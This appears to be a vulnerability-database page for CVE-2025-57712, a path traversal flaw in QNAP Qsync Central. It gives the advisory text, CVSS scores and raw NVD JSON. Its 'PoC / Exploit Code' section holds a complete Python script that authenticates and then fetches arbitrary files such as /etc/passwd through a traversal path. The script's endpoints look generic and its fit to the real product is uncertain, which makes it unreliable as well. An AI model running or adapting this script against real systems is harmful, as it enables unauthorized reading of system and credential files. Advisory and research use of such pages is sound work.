Security Vulnerability Report
中文
CVE-2025-57712 CVSS 6.5 MEDIUM

CVE-2025-57712

Published: 2025-11-07 16:15:41
Last Modified: 2025-11-14 20:11:31

Description

A path traversal vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data. We have already fixed the vulnerability in the following version: Qsync Central 5.0.0.3 ( 2025/08/28 ) and later

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:qnap:qsync_central:*:*:*:*:*:*:*:* - VULNERABLE
Qsync Central < 5.0.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-57712 Path Traversal PoC for QNAP Qsync Central # Target: QNAP Qsync Central < 5.0.0.3 # Author: Security Researcher # Reference: https://www.qnap.com/en/security-advisory/qsa-25-41 def exploit_path_traversal(target_url, username, password, target_file): """ Exploit path traversal vulnerability in Qsync Central Args: target_url: Base URL of Qsync Central username: Valid user account password: User password target_file: File to read (e.g., ../../../etc/passwd) """ session = requests.Session() # Step 1: Login to get authenticated session login_url = f"{target_url}/api/auth/login" login_data = { "username": username, "password": password } try: login_response = session.post(login_url, json=login_data, timeout=10) if login_response.status_code != 200: print(f"[-] Login failed with status code: {login_response.status_code}") return None print("[+] Login successful") # Step 2: Exploit path traversal to read sensitive file # Common targets: /etc/passwd, config files, user data file_url = f"{target_url}/api/file/download?path={target_file}" exploit_response = session.get(file_url, timeout=10) if exploit_response.status_code == 200: print(f"[+] File read successful: {target_file}") print(f"[+] Content length: {len(exploit_response.content)} bytes") return exploit_response.content else: print(f"[-] Exploit failed with status code: {exploit_response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {str(e)}") return None def main(): if len(sys.argv) < 5: print("Usage: python cve_2025_57712_poc.py <target_url> <username> <password> <target_file>") print("Example: python cve_2025_57712_poc.py http://192.168.1.100:8080 admin password ../../../etc/passwd") sys.exit(1) target_url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] target_file = sys.argv[4] print(f"[*] Targeting: {target_url}") print(f"[*] Attempting to read: {target_file}") result = exploit_path_traversal(target_url, username, password, target_file) if result: print("\n[+] Exploit successful! File content:") print(result.decode('utf-8', errors='ignore')) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57712", "sourceIdentifier": "[email protected]", "published": "2025-11-07T16:15:40.593", "lastModified": "2025-11-14T20:11:30.853", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A path traversal vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.\n\nWe have already fixed the vulnerability in the following version:\nQsync Central 5.0.0.3 ( 2025/08/28 ) and later"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qnap:qsync_central:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0.0", "versionEndExcluding": "5.0.0.3", "matchCriteriaId": "D77DC144-1742-4400-BE23-D19AC9460C12"}]}]}], "references": [{"url": "https://www.qnap.com/en/security-advisory/qsa-25-41", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}